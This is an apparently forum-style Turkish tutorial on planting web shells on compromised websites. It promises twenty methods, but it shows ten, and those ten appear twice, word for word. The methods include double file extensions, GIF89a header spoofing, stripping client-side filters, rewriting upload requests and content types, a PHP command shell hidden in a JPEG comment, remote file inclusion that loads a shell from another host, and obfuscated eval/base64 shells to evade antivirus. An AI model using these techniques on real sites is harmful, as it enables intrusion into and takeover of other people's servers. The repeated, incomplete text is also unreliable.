Birçok kişi bir siteye erişim elde ettikten sonra Shell atmaya calisir. Ancak birkaç yöntem denemesine rağmen başaramaz ve pes eder. Bu konuda sizlere 20 temel Shell atma yöntemini anlatacagim ;
1. Yontem
Bazi eski sitelerde sadece script tabanli dosya uzanti kontrolu yapilir. Bu kontrolu asmak icin scriptin sonuna .gif, .jpg, .doc, .htmlgibi uzantilar eklenerek bu sinirlama asilabilir. Ornegin; atmak istediginiz shell adi solver.php ise dosya adini solver.php.jpg seklinde degistirerek bu yontemi deneyebilirsiniz.
2. Yontem
Eger WAF veya antivirus shell atmanizi engelliyorsa, oncelikle basit birkac satirdan olusan bir uploader script yuklemeyi deneyin. Uploader’i yukledikten sonra shellinizi atmayi deneyin.
3. Yontem
Bazi guvenlik duvarlari yuklenecek dosyanin basligini kontrol ederek izin verilip verilmeyecegine bakabilir. Boyle bir guvenligi bypass etmek icin yuklemek istediginiz shell’i notepad ile acin ve en ust satira GIF89a; yazin. Bu sekilde server’i dosyanin bir gif resmi olduguna inandirabilirsiniz. Bu yontemi 1 numarali yontemle birlestirirseniz sansiniz daha da artar.
4. Yontem
Bazi sitelerde sunucu tabanli yerine istemci tabanli guvenlik onlemleri bulunur. Boyle bir durumda Firefox’un Firebug eklentisini indirin ve upload formunu yeniden duzenleyin.
Bu formdaki accept=”*.jpg” filtresini accept=”*.*” seklinde degistirin. Bu sekilde uzanti kontrolunu asabilirsiniz.
5. Yontem
Firefox’u acin ve LIVE HTTP HEADERS eklentisini indirin. Shell’inizin adini solver.php.jpg (ya da hangi uzantiyi kabul ediyorsa) seklinde degistirin. Daha sonra Firefox’u ve Live HTTP Headers eklentisini acin, shellinizi upload edin.
solver.php.jpg yazisina tiklayin ve asagidaki “Reply” butonuna basin. Daha sonra yeni bir pencere acilacak:
Dosya adinin sonundaki .jpg uzantisini silin. Reply tusuna basarak HTTP POST istegini gonderin. Shell’iniz solver.php adiyla yuklenecektir
6.Yontem
edjpgcom.exe programini indirin.Bu program Windows uzerinde calisir ve JPG, JPEG dosyalarina JPEG Comment eklemeye yarar. Programin kullanimi su sekildedir:
Programi masaustunde bir klasore kopyalayin. Daha sonra ayni klasore istediginiz bir JPG resim dosyasini kopyalayin. Resim dosyasini surukleyip programin ustune birakin. Programin acildigini ve bos bir kutu oldugunu goreceksiniz. Bu bos kutu icerisine shell kodlarinizi yazin. Ancak burada dikkat etmeniz gereken sey sudur: Butun bir shell’i oraya sigdiramazsiniz. O yuzden ufak cmd kodunu deneyin ;
“; system($_GET[’cmd’]); echo ?>
7. Yontem
Server’i kandirmanin bir baska yolu da icerik tipi degistirmekten gecer. Firefox’un Tamper Data eklentisini indirin ve kurun. Daha sonra eklentiyi acip Start Tamper butonuna basin. Shell’inizi upload edin. Tamper data eklentisi hemen bir uyari verecektir. Bu uyarida “Tamper” butonuna tiklayin.
Cikan penceredeki post_data’yi oldugu gibi kopyalayin ve not defterine yapistirin. Icerisindeki butun application/octet-streamyazilarini bulup bunlari image/gif ya da image/jpg seklinde degistirin. Daha sonra degismis haliyle oldugu gibi eski yerine yapistirarak submit butonuna tiklayin. Bu sekilde serveri, dosyanizin resim dosyasi olduguna inandirabilirsiniz.
8. Yontem
Yukaridaki butun bu yontemler sitede bir upload butonu buldugunuzda calisabilir. Ancak bazen hicbir upload formu bulamazsiniz. Bu durumda da admin panelinde direk olarak dosyalari duzenleyen yerleri arayin. Ornegin panelde 404 sayfasini duzenleyen bir bolum
buldunuz. Hemen dosya icerisine php, asp kodlari yazarak dosyanin iceriginin degisip degismedigini kontrol edin. Eger degisiyorsa bu sekilde shell kodlarinizi yazip kaydedebilirsiniz.
9. Yontem
Bazi sitelerde de RFI yani uzaktan dosya calistirma acigi bulunmaktadir. Bu acigi bulursaniz, farkli bir siteye shell’inizi txt formatinda yukleyin. Daha sonra da uzaktan bu shell’i acik bulunan sitede cagirarak siteye shell atabilirsiniz. Ornegin:
http://www.orneksayfa.com/index.php?sayfa=http://www.example.com/solver.txt
10. Yontem
Bazen server uzerinde guclu antivirusler ve guvenlik duvarlari bulunur. Siz shell’inizi upload etseniz bile bunlar yakalar ve hemen silerler. Bu gibi durumlarda yapmaniz gereken Undetected bir shell bulmaktir.
eval(gzinflate(base64_decode(, ya da preg_replace(”/.*/e”,”\\\\\\\\x65\\\\\\\\x76\\\\\\\\x61\\\\\\\\x6C\\ \\\\\\x28\\\\\\\\x67\\\\\\\\x7A\\\\\\\\x69\\\\\\\\ x6E\\\\\\\\x66\\\\\\\\x6C\\\\\\\\x61\\\\\\\\x74\\\ \\\\\x65\\\\\\\\x28\\\\\\\\x62\\\\\\\\x61\\\\\\\\x 73\\\\\\\\x65\\\\\\\\x36\\\\\\\\x34\\\\\\\\x5F\\\\ \\\\x64\\\\\\\\x65\\\\\\\\x63\\\\\\\\x6F\\\\\\\\x6 4\\\\\\\\x65\\\\\\\\x28’
seklinde baslayan sifrelenmis bir shell bulursaniz bu sorunu cozebilirsiniz. Ancak dikkat etmeniz gereken sey, bu sekilde sifrelenmis shelllerin icerisinde genellikle logger bulunur. Kullanmadan once bunlari temizlemeniz gerekir.
1. Yontem
Bazi eski sitelerde sadece script tabanli dosya uzanti kontrolu yapilir. Bu kontrolu asmak icin scriptin sonuna .gif, .jpg, .doc, .htmlgibi uzantilar eklenerek bu sinirlama asilabilir. Ornegin; atmak istediginiz shell adi solver.php ise dosya adini solver.php.jpg seklinde degistirerek bu yontemi deneyebilirsiniz.
2. Yontem
Eger WAF veya antivirus shell atmanizi engelliyorsa, oncelikle basit birkac satirdan olusan bir uploader script yuklemeyi deneyin. Uploader’i yukledikten sonra shellinizi atmayi deneyin.
3. Yontem
Bazi guvenlik duvarlari yuklenecek dosyanin basligini kontrol ederek izin verilip verilmeyecegine bakabilir. Boyle bir guvenligi bypass etmek icin yuklemek istediginiz shell’i notepad ile acin ve en ust satira GIF89a; yazin. Bu sekilde server’i dosyanin bir gif resmi olduguna inandirabilirsiniz. Bu yontemi 1 numarali yontemle birlestirirseniz sansiniz daha da artar.
4. Yontem
Bazi sitelerde sunucu tabanli yerine istemci tabanli guvenlik onlemleri bulunur. Boyle bir durumda Firefox’un Firebug eklentisini indirin ve upload formunu yeniden duzenleyin.
Bu formdaki accept=”*.jpg” filtresini accept=”*.*” seklinde degistirin. Bu sekilde uzanti kontrolunu asabilirsiniz.
5. Yontem
Firefox’u acin ve LIVE HTTP HEADERS eklentisini indirin. Shell’inizin adini solver.php.jpg (ya da hangi uzantiyi kabul ediyorsa) seklinde degistirin. Daha sonra Firefox’u ve Live HTTP Headers eklentisini acin, shellinizi upload edin.
solver.php.jpg yazisina tiklayin ve asagidaki “Reply” butonuna basin. Daha sonra yeni bir pencere acilacak:
Dosya adinin sonundaki .jpg uzantisini silin. Reply tusuna basarak HTTP POST istegini gonderin. Shell’iniz solver.php adiyla yuklenecektir
6.Yontem
edjpgcom.exe programini indirin.Bu program Windows uzerinde calisir ve JPG, JPEG dosyalarina JPEG Comment eklemeye yarar. Programin kullanimi su sekildedir:
Programi masaustunde bir klasore kopyalayin. Daha sonra ayni klasore istediginiz bir JPG resim dosyasini kopyalayin. Resim dosyasini surukleyip programin ustune birakin. Programin acildigini ve bos bir kutu oldugunu goreceksiniz. Bu bos kutu icerisine shell kodlarinizi yazin. Ancak burada dikkat etmeniz gereken sey sudur: Butun bir shell’i oraya sigdiramazsiniz. O yuzden ufak cmd kodunu deneyin ;
“; system($_GET[’cmd’]); echo ?>
7. Yontem
Server’i kandirmanin bir baska yolu da icerik tipi degistirmekten gecer. Firefox’un Tamper Data eklentisini indirin ve kurun. Daha sonra eklentiyi acip Start Tamper butonuna basin. Shell’inizi upload edin. Tamper data eklentisi hemen bir uyari verecektir. Bu uyarida “Tamper” butonuna tiklayin.
Cikan penceredeki post_data’yi oldugu gibi kopyalayin ve not defterine yapistirin. Icerisindeki butun application/octet-streamyazilarini bulup bunlari image/gif ya da image/jpg seklinde degistirin. Daha sonra degismis haliyle oldugu gibi eski yerine yapistirarak submit butonuna tiklayin. Bu sekilde serveri, dosyanizin resim dosyasi olduguna inandirabilirsiniz.
8. Yontem
Yukaridaki butun bu yontemler sitede bir upload butonu buldugunuzda calisabilir. Ancak bazen hicbir upload formu bulamazsiniz. Bu durumda da admin panelinde direk olarak dosyalari duzenleyen yerleri arayin. Ornegin panelde 404 sayfasini duzenleyen bir bolum
buldunuz. Hemen dosya icerisine php, asp kodlari yazarak dosyanin iceriginin degisip degismedigini kontrol edin. Eger degisiyorsa bu sekilde shell kodlarinizi yazip kaydedebilirsiniz.
9. Yontem
Bazi sitelerde de RFI yani uzaktan dosya calistirma acigi bulunmaktadir. Bu acigi bulursaniz, farkli bir siteye shell’inizi txt formatinda yukleyin. Daha sonra da uzaktan bu shell’i acik bulunan sitede cagirarak siteye shell atabilirsiniz. Ornegin:
http://www.orneksayfa.com/index.php?sayfa=http://www.example.com/solver.txt
10. Yontem
Bazen server uzerinde guclu antivirusler ve guvenlik duvarlari bulunur. Siz shell’inizi upload etseniz bile bunlar yakalar ve hemen silerler. Bu gibi durumlarda yapmaniz gereken Undetected bir shell bulmaktir.
eval(gzinflate(base64_decode(, ya da preg_replace(”/.*/e”,”\\\\\\\\x65\\\\\\\\x76\\\\\\\\x61\\\\\\\\x6C\\ \\\\\\x28\\\\\\\\x67\\\\\\\\x7A\\\\\\\\x69\\\\\\\\ x6E\\\\\\\\x66\\\\\\\\x6C\\\\\\\\x61\\\\\\\\x74\\\ \\\\\x65\\\\\\\\x28\\\\\\\\x62\\\\\\\\x61\\\\\\\\x 73\\\\\\\\x65\\\\\\\\x36\\\\\\\\x34\\\\\\\\x5F\\\\ \\\\x64\\\\\\\\x65\\\\\\\\x63\\\\\\\\x6F\\\\\\\\x6 4\\\\\\\\x65\\\\\\\\x28’
seklinde baslayan sifrelenmis bir shell bulursaniz bu sorunu cozebilirsiniz. Ancak dikkat etmeniz gereken sey, bu sekilde sifrelenmis shelllerin icerisinde genellikle logger bulunur. Kullanmadan once bunlari temizlemeniz gerekir.